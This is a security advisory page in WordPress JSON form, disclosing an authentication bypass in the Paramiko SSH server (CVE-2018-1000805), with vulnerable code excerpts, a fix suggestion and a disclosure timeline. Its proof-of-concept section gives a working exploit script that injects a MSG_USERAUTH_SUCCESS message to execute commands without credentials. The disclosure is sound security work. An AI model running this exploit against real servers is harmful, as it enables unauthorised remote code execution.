{"id":16567,"date":"2021-07-08T09:40:30","date_gmt":"2021-07-08T07:40:30","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2018-0023\/"},"modified":"2021-07-19T14:08:50","modified_gmt":"2021-07-19T12:08:50","slug":"usd-2018-0023","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2018-0023\/","title":{"rendered":"usd-2018-0023"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1 class=\"h-custom-headline usd-small-letters h2\"><span>usd-2018-0023 | Paramiko\/2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6<\/span><\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: 2018-0023<\/span><br \/><strong>CVE number<\/strong><span>: CVE-2018-1000805<\/span><br \/><strong>Affected Product<\/strong><span>: Paramiko<\/span><br \/><strong>Affected Version<\/strong><span>: 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Authentication Bypass<\/span><br \/><strong>Security Risk<\/strong><span>: Critical<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.paramiko.org\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.paramiko.org\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed according to vendor in version 2.0.x and up<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p>The authentication process within the Paramiko SSH server can by bypassed by sending a MSG_USERAUTH_SUCCESS message to the server. An attacker who exploits this vulnerability can gain remote code execution.<\/p>\n<p>Description based on most recent commit<br \/>https:\/\/github.com\/paramiko\/paramiko\/tree\/677166b4411e86029226f3d093701fb3b999a082<\/p>\n<p>The server identifies each message by an ID (`ptype`). If the ID exists in the transport._handler_table, the server checks if the connection is authenticated (transport.py:2003)<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]if ptype in self._handler_table:<br \/>\nerror_msg = self._ensure_authed(ptype, m)<br \/>\nif error_msg:<br \/>\nself._send_message(error_msg)<br \/>\nelse:<br \/>\nself._handler_table[ptype](self, m)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>The function `self._ensure_authed` returns `None` if the user is authenticated (transport.py:1716)<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]if (<br \/>\nnot self.server_mode or<br \/>\nptype &amp;lt;= HIGHEST_USERAUTH_MESSAGE_ID or<br \/>\nself.is_authenticated()<br \/>\n):<br \/>\nreturn None<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>If the ID does not exist in the transport._handler_table, the auth_handler._handler_table is checked and the corresponding method is called (transport.py:2029)<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"||27px||false|false\" hover_enabled=\"0\" sticky_enabled=\"0\"]elif (<br \/>\nself.auth_handler is not None<br \/>\nand ptype in self.auth_handler._handler_table<br \/>\n):<br \/>\nhandler = self.auth_handler._handler_table[ptype]<br \/>\nhandler(self.auth_handler, m)<br \/>\nif len(self._expected_packet) &amp;gt; 0:<br \/>\ncontinue<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"_initial\" custom_margin=\"||27px||false|false\"]<\/p>\n<p><span>By default, the auth_handler adds MSG_USERAUTH_SUCCESS to the _handler_table (auth_handler.py:606)<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"||27px||false|false\" hover_enabled=\"0\" sticky_enabled=\"0\"]_handler_table = {<br \/>\nMSG_SERVICE_REQUEST: _parse_service_request,<br \/>\nMSG_SERVICE_ACCEPT: _parse_service_accept,<br \/>\nMSG_USERAUTH_REQUEST: _parse_userauth_request,<br \/>\nMSG_USERAUTH_SUCCESS: _parse_userauth_success,<br \/>\nMSG_USERAUTH_FAILURE: _parse_userauth_failure,<br \/>\nMSG_USERAUTH_BANNER: _parse_userauth_banner,<br \/>\nMSG_USERAUTH_INFO_REQUEST: _parse_userauth_info_request,<br \/>\nMSG_USERAUTH_INFO_RESPONSE: _parse_userauth_info_response,<br \/>\n}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<div class=\"x-text\">\n<p>The function _parse_userauth_success sets the authenticated flag to true (auth_handler.py:541)<\/p>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]def _parse_userauth_success(self, m):<br \/>\nself.transport._log(INFO, 'Authentication (%s) successful!' % self.auth_method)<br \/>\nself.authenticated = True<br \/>\nself.transport._auth_trigger()<br \/>\nif self.auth_event is not None:<br \/>\nself.auth_event.set()<\/code><\/pre>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>By sending a MSG_USERAUTH_SUCCESS message to the server, it\u2019s possible to bypass the auth process.<\/p>\n<h2><span><\/span><\/h2>\n<h2><span><\/span><\/h2>\n<h2><span>Proof of Concept<\/span><\/h2>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]### Example of a Paramiko SSH Server ###<\/p>\n<p>#!\/usr\/bin\/env python<\/p>\n<p>import base64<br \/>\nfrom binascii import hexlify<br \/>\nimport os<br \/>\nimport socket<br \/>\nimport sys<br \/>\nimport threading<br \/>\nimport traceback<\/p>\n<p>import paramiko<br \/>\nfrom paramiko.py3compat import b, u, decodebytes<\/p>\n<p># setup logging<br \/>\nparamiko.util.log_to_file(\"demo_server.log\")<\/p>\n<p>host_key = paramiko.RSAKey(filename=\"test_rsa.key\")<\/p>\n<p>class Server(paramiko.ServerInterface):<br \/>\ndata = (<br \/>\nb\"AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp\"<br \/>\nb\"fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY\/hFAh76PJKGAusIqIQKlkJxMC\"<br \/>\nb\"KDqIexkgHAfID\/6mqvmnSJf0b5W8v5h2pI\/stOSwTQ+pxVhwJ9ctYDhRSlF0iT\"<br \/>\nb\"UWT10hcuO4Ks8=\"<br \/>\n)<br \/>\ngood_pub_key = paramiko.RSAKey(data=decodebytes(data))<\/p>\n<p>def __init__(self):<br \/>\nself.event = threading.Event()<\/p>\n<p>def check_channel_request(self, kind, chanid):<br \/>\nif kind == \"session\":<br \/>\nreturn paramiko.OPEN_SUCCEEDED<br \/>\nreturn paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED<\/p>\n<p>def check_auth_password(self, username, password):<br \/>\nif (username == \"robey\") and (password == \"foo\"):<br \/>\nreturn paramiko.AUTH_SUCCESSFUL<br \/>\nreturn paramiko.AUTH_FAILED<\/p>\n<p>def check_auth_publickey(self, username, key):<br \/>\nprint(\"Auth attempt with key: \" + u(hexlify(key.get_fingerprint())))<br \/>\nif (username == \"robey\") and (key == self.good_pub_key):<br \/>\nreturn paramiko.AUTH_SUCCESSFUL<br \/>\nreturn paramiko.AUTH_FAILED<\/p>\n<p>def get_allowed_auths(self, username):<br \/>\nreturn \"password,publickey\"<\/p>\n<p>def check_channel_exec_request(self, channel, command):<br \/>\nprint(\"---SHOULD ONLY BE CALLABLE IF CLIENT IS AUTHED---\")<br \/>\nself.event.set()<br \/>\nreturn True<\/p>\n<p>try:<br \/>\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br \/>\nsock.bind((\"\", 2200))<br \/>\nexcept Exception as e:<br \/>\nprint(\"*** Bind failed: \" + str(e))<br \/>\ntraceback.print_exc()<br \/>\nsys.exit(1)<\/p>\n<p>try:<br \/>\nsock.listen(100)<br \/>\nprint(\"Listening for connection ...\")<br \/>\nclient, addr = sock.accept()<br \/>\nexcept Exception as e:<br \/>\nprint(\"*** Listen\/accept failed: \" + str(e))<br \/>\ntraceback.print_exc()<br \/>\nsys.exit(1)<\/p>\n<p>print(\"Got a connection!\")<\/p>\n<p>try:<br \/>\nt = paramiko.Transport(client)<br \/>\nt.add_server_key(host_key)<br \/>\nserver = Server()<br \/>\ntry:<br \/>\nt.start_server(server=server)<br \/>\nexcept paramiko.SSHException:<br \/>\nprint(\"*** SSH negotiation failed.\")<br \/>\nsys.exit(1)<\/p>\n<p># wait for auth<br \/>\nchan = t.accept(20)<br \/>\nif chan is None:<br \/>\nprint(\"*** No channel.\")<br \/>\nsys.exit(1)<br \/>\nprint(\"Authenticated!\")<\/p>\n<p>server.event.wait(10)<\/p>\n<p>chan.close()<\/p>\n<p>except Exception as e:<br \/>\nprint(\"*** Caught exception: \" + str(e.__class__) + \": \" + str(e))<br \/>\ntraceback.print_exc()<br \/>\ntry:<br \/>\nt.close()<br \/>\nexcept:<br \/>\npass<br \/>\nsys.exit(1)<\/p>\n<p>### Exploit ###<\/p>\n<p>from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE<\/p>\n<p>import paramiko<\/p>\n<p>port = 2200<br \/>\nhostname = '127.0.0.1'<br \/>\nusername = ''<br \/>\npassword = ''<\/p>\n<p>client = paramiko.SSHClient()<\/p>\n<p>#enable warning policy to allow connections to all servers<br \/>\nclient.set_missing_host_key_policy(paramiko.WarningPolicy())<\/p>\n<p>#overwrite auth method to skip the auth process<br \/>\nclient._auth = lambda *args, **kwargs: None<br \/>\nclient.connect(hostname, port, username, password)<\/p>\n<p>#craft MSG_USERAUTH_SUCCESS message<br \/>\nm = paramiko.Message()<br \/>\nm.add_byte(cMSG_USERAUTH_SUCCESS)<br \/>\nclient._transport._send_message(m)<br \/>\nclient.exec_command('yes')<br \/>\nclient.close()<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>Probably the message USERAUTH_SUCCESS is client specific and the callback should not be added to the auth_handler._handler_table in server mode.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2018-08-31 notified jeff@bitprophet.org<\/li>\n<li>2018-09-20 issue has been fixed according to https:\/\/github.com\/paramiko\/paramiko\/issues\/1283 and patch will be released in 2.0.x and up<\/li>\n<li>2018-11-19 Security advisory released<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Daniel Hoffmann of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2018-0023 | Paramiko\/2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 Advisory ID: 2018-0023CVE number: CVE-2018-1000805Affected Product: ParamikoAffected Version: 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6Vulnerability Type: Authentication BypassSecurity Risk: CriticalVendor URL: https:\/\/www.paramiko.org\/Vendor Status: Fixed according to vendor in version 2.0.x and up Description The authentication process within the Paramiko SSH server can by bypassed by sending [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16567","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16567","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16567"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16567\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16567"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}